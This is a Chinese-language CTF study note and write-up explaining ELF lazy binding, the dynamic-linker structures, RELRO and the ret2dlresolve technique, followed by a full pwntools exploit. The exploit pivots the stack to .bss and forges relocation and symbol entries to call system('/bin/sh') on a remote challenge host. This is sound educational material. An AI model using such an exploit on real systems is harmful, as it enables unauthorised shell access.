Return to dl_resolve

一无所有的此刻有亿万阵风吹过

https://www.cnblogs.com/GKLBB/p/19603282

https://www.cnblogs.com/unr4v31/p/15168342.html

延迟绑定

之前好像记过一次但是时间紧迫不找在哪了先复习一下

1
2
3
4
5
6
第一次调用 printf():
PLT → GOT(此时存的是PLT+6的地址) → 跳回PLT → 调用dl_runtime_resolve()
→ 解析真实地址 → 写入GOT → 跳转到printf()

第二次调用 printf():
PLT → GOT(此时已是真实地址) → 直接跳转到printf()

关键问题:GOT 表必须可写,因为动态链接器需要在运行时填入解析后的地址。

_dl_runtime_resolve

函数原型

1
_dl_runtime_resolve(link_map_obj, reloc_index)

image-20260408213917740

解析器的工作流程:

  1. 读取 .dynamic 节,找到 .rel.plt / .dynsym / .dynstr 的基址
  2. 根据reloc_offset这个偏移量在.rel.plt中找到重定位表项Elf32_Rel
  3. 根据其中的r_info提取出 下标 (Index),然后通过 symtab_base + Index * 16 来定位 Elf32_Sym
  4. 其中的st_name指向函数名

表项

Elf32_Dyn

8字节

1
2
3
4
5
6
7
typedef struct {
Elf32_Sword d_tag; // 类型标签(你是谁?)
union {
Elf32_Word d_val; // 数值
Elf32_Addr d_ptr; // 地址指针(你在哪?)
} d_un;
} Elf32_Dyn;

_dl_runtime_resolve获取的基址:

d_tag d_un(d_ptr)
DT_STRTAB 5 .dynstr 字符串表基址
DT_SYMTAB 6 .dynsym 符号表基址
DT_JMPREL 23 (0x17) .rel.plt 重定位表基址

重定位表项Elf32_Rel

1
2
3
4
typedef struct {
Elf32_Addr r_offset; // 写入目标地址
Elf32_Word r_info; // 包含符号表下标和重定位类型
} Elf32_Rel;

r_info 的计算:((index) << 8 | 0x7)

  • index:告诉解析器去符号表.dynsym的第几个槽位读 Elf32_Sym

  • 0x7:这是 R_386_JMP_SLOT,告诉解析器这是一个函数跳转槽位。

  • << 8r_info 的高 24 位存放的是该符号在符号表(Symbol Table)里的下标(Index)。

符号表项Elf32_Sym

1
2
3
4
5
6
7
8
typedef struct {
Elf32_Word st_name; // 符号名在字符串表.dynstr中的偏移
Elf32_Addr st_value;
Elf32_Word st_size;
unsigned char st_info; // 符号类型
unsigned char st_other;
Elf32_Section st_shndx;
} Elf32_Sym;

涉及的节(Section)

.dynamic动态节(Dynamic Section)

存放Elf32_Dyn 结构体。

JMPREL:.rel.plt (Relocation PLT)

重定位表。存放Elf32_Rel 结构体

SYMTAB:.dynsym (Dynamic Symbol Table)

动态符号表。存放Elf32_Sym 结构体。

STRTAB:.dynstr (Dynamic String Table)

动态字符串表。Elf32_Sym中的st_name会指向这里

攻击方式:GOT Overwrite

将 GOT 中某个函数条目改为 system(目标函数) 的地址

Relocation Read-Only (RELRO)

将与重定位相关的内存区域(特别是 GOT 表)在运行时标记为只读

Partial RELRO

是gcc的默认设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ELF 内存布局调整:

┌─────────────────┐ 低地址
│ .text │ 只读
├─────────────────┤
│ .rodata │ 只读
├─────────────────┤
│ .got │ ← 存放全局偏移(非函数)→ 只读 ✓
├─────────────────┤
│ .got.plt │ ← 存放函数地址 → 仍然可写 ✗
├─────────────────┤
│ .data │ 可写
│ .bss │ 可写
└─────────────────┘ 高地址
  • 重新排列 ELF 段的顺序,将 .got.ctors.dtors.dynamic 等节放在 .data/.bss 之前
  • .got(非函数引用的 GOT 条目)设置只读
  • .got.plt(函数引用的 GOT 条目)仍然可写 → 仍可被攻击
  • .dynamic 段被标记为只读(防止修改 DT_STRTAB 等攻击)

Full RELRO

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
程序启动时(加载阶段):

1. 动态链接器(ld.so)一次性解析所有函数符号
2. 将所有解析后的地址填入 GOT 表
3. 调用 mprotect() 将整个 GOT 标记为只读

┌─────────────────┐ 低地址
│ .text │ 只读
├─────────────────┤
│ .rodata │ 只读
├─────────────────┤
│ .got │ 只读 ✓(合并了所有GOT条目)
├─────────────────┤
│ .data │ 可写
│ .bss │ 可写
└─────────────────┘ 高地址

注意:.got.plt 不再需要,或也被设为只读

整个 GOT 表只读,GOT Overwrite 攻击完全失效

其实就是直接不用延迟绑定了

ret2dlresolve

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/ret2dlresolve/

如何攻击动态链接过程?

思路1:修改动态字符串表 .dynstr

直接改不可行,动态字符串表 .dynstr是只读的。

但是可以造假表,劫持 reloc_offset 让解析器去读我们的假表

思路2:修改.dynamic

动态链接器会从 .dynamic 节中索引到各个目标节,可以劫持 .dynamic 里的指针 (基址)

我开始理解大概是让基址指向,比如说.got.plt的中段,使得加上偏移后正好是目标函数的表项

似乎更常用的是,将 DT_STRTAB 的 d_ptr 改为(加上偏移后是)目标函数字符串,或者改为自己伪造的字符串表地址

直接移动基址会更加不可控,如果后面还要执行其他函数的话

需要.dynamic 节可写。Partial RELRO就不可用

思路3:伪造 link_map

动态连接器在解析符号地址时,主要依赖于 link_map 来查询相关的地址。因此,如果我们可以成功伪造 link_map,也就可以控制程序执行目标函数。

劫持 PLT[0] 的参数 link_map 地址,并且伪造一个完整的 link_map 结构体

板子

做题看题之后发现,怎么全都要栈迁移啊

题-ret2dl

使用Gemini辅助分析和写脚本

据说是板子题

程序分析

用checksec查防护机制:

image-20260408165543113

main函数非常简单,调用了alarm和read_w

1
2
3
4
5
6
int main()
{
alarm(0xAu);
read_w();
return 0;
}

read_w中有一个栈溢出漏洞,但是溢出空间很小,只有24 字节

1
2
3
4
5
6
ssize_t read_w()
{
_BYTE buf[40]; // [esp+0h] [ebp-28h] BYREF

return read(0, buf, 0x40u);
}

解题思路

由于程序中没有system也没有puts等输出函数,并且只开了Partial RELRO,可以用ret2dlresolve。

payload1

ret2dlresolve需要的空间比较多,24字节不够用,需要先做栈迁移。借助read函数读取payload1,用leave;ret将栈迁移到bss段的bss_addr,再次调用read函数。leave_ret gadget的地址可以用ROPgadget工具找到

1
2
3
4
5
6
7
bss_addr = 0x0804A020 + 0x800
leave_ret = 0x08048455
read_plt = elf.plt['read']

payload1 = b'a' * 40 + p32(bss_addr)
payload1 += p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_addr) + p32(0x400) # read(0, bss_addr, 0x400)
p.send(payload1)

payload2

转移到bss段,读入payload2,payload2包含两部分:

ROP链

1
2
3
4
5
# 调用 PLT_0 执行解析
rop = p32(bss_addr + 0x500) # ebp
rop += p32(plt_0) # 跳转到解析器入口
rop += p32(reloc_offset) # 伪造的重定位偏移
rop += p32(0xdeadbeef) + p32(binsh_str) # system的返回地址和参数
  1. 跳转到PLT[0],从而调用_dl_runtime_resolve 函数,提供伪造的偏移reloc_offset
  2. 给system函数的返回地址和参数(/bin/sh字符串的地址)

数据部分

  1. 伪造的Elf32_Rel和Elf32_Sym表,用于欺骗_dl_runtime_resolve,让其认为自己需要找叫“system”的函数

    1
    2
    3
    4
    # 构造伪造的结构体
    fake_reloc = p32(elf.got['alarm']) + p32(r_info)
    # st_name + st_value + st_size + st_info
    fake_sym = p32(st_name) + p32(0) + p32(0) + p8(0x12) + p8(0) + p16(0)
  2. 存放system和/bin/sh字符串

    1
    2
    3
    4
    payload2 = payload2.ljust(system_str - bss_addr, b'\x00')
    payload2 += b"system\x00"
    payload2 = payload2.ljust(binsh_str - bss_addr, b'\x00')
    payload2 += b"/bin/sh\x00"

需要注意的是Elf32_Rel和Elf32_Sym表有严格的结构,需要小心对齐

调试的一些:

进入dl_runtime_resolve之后在gdb里验证一下有没有改成功

这个地址是elf.got[‘alarm’],也就是.got.plt里的alarm(要改的函数的)

1
x/wx 0804A010

然后再看看system的地址。看有没有改对

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *

context(arch="i386",os="linux",log_level="debug")
context.terminal = ["tmux", "splitw", "-h", "-p", "70"]
# context.terminal = ["tmux", "splitw", "-h"]
# context.terminal = ["tmux", "new-window"]

file_path = './stack'
elf = ELF(file_path)
# libc = ELF('./libc.so.6')
# p = process(file_path)
p = remote('124.16.75.116',52005)


def debug():
cmd = '''
b read
c
'''
gdb.attach(p, cmd)
# debug()

bss_addr = 0x0804A020 + 0x800
leave_ret = 0x08048455
read_plt = elf.plt['read']

payload1 = b'a' * 40 + p32(bss_addr)
payload1 += p32(read_plt) + p32(leave_ret) + p32(0) + p32(bss_addr) + p32(0x400) # read(0, bss_addr, 0x400)
p.send(payload1)
pause()

# 关键地址获取
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
plt_0 = elf.get_section_by_name('.plt').header.sh_addr

# 对齐计算
addr_reloc = bss_addr + 24
addr_sym = addr_reloc + 8
while (addr_sym - dynsym) % 16 != 0: # 必须 16 字节对齐
addr_sym += 1
system_str = addr_sym + 16
binsh_str = system_str + 10
log.info("system_str: " + hex(system_str))
log.info("binsh_str: " + hex(binsh_str))

# 计算偏移
reloc_offset = addr_reloc - rel_plt
st_name = system_str - dynstr
r_info = ((addr_sym - dynsym) // 16) << 8 | 0x7

# 调用 PLT_0 执行解析
rop = p32(bss_addr + 0x500) # ebp
rop += p32(plt_0) # 跳转到解析器入口
rop += p32(reloc_offset) # 伪造的重定位偏移
rop += p32(0xdeadbeef) + p32(binsh_str) # system的返回地址和参数

# 构造伪造的结构体
fake_reloc = p32(elf.got['alarm']) + p32(r_info)
# st_name + st_value + st_size + st_info
fake_sym = p32(st_name) + p32(0) + p32(0) + p8(0x12) + p8(0) + p16(0)

# 8. 拼接完整的 Payload 2
payload2 = rop.ljust(addr_reloc - bss_addr, b'\x00')
payload2 += fake_reloc
payload2 = payload2.ljust(addr_sym - bss_addr, b'\x00')
payload2 += fake_sym
payload2 = payload2.ljust(system_str - bss_addr, b'\x00')
payload2 += b"system\x00"
payload2 = payload2.ljust(binsh_str - bss_addr, b'\x00')
payload2 += b"/bin/sh\x00"

p.send(payload2)
pause()
p.interactive()

得到flag:

1
ctf{ret_2_dl_resolve}

技术点总结

  1. 栈迁移:当函数栈帧内的缓冲区溢出空间不足以布置完整的 ROP 链时,需将程序执行流引导至内存空间更充裕的区域(如 BSS 段)。通常可以利用 leave; ret 这个gadget实现劫持,将 esp 切换至目标地址,获取更大的操作空间

  2. 32位函数调用约定:在 i386 架构中,函数参数通过栈传递,而非寄存器。调用者在执行 call 指令前,按参数反序将其压入栈中。函数执行时,通过相对于 espebp 的偏移量来访问这些参数。这种机制决定了在构造 ROP 链时,只需在栈上模拟该布局:将目标函数地址作为返回地址写入,其后紧跟该函数执行完后的返回地址,再之后依次排列各项参数。

  3. 动态链接与延迟绑定 :Linux 默认采用延迟绑定机制,只有在函数首次被调用时才进行地址解析。首次调用时,程序跳转至 PLT 项,压入该函数的重定位偏移量后进入 PLT[0]PLT[0] 将代表库信息的 link_map 地址压栈并跳转至动态链接器的 _dl_runtime_resolve 函数。该函数根据偏移量查找符号表,定位真实函数地址并写入 GOT 表,最后直接跳转执行。

  4. Ret2dlresolve 攻击技术:通过伪造动态链接器解析过程所需的数据结构,欺骗链接器加载任意函数。攻击者在可写内存中手工构造虚假的 Elf32_Rel(重定位项)、Elf32_Sym(符号项)以及函数名字符串,控制传给 _dl_runtime_resolvereloc_offset 参数,引导链接器读取这些伪造结构。在Full RELRO防护下不可用。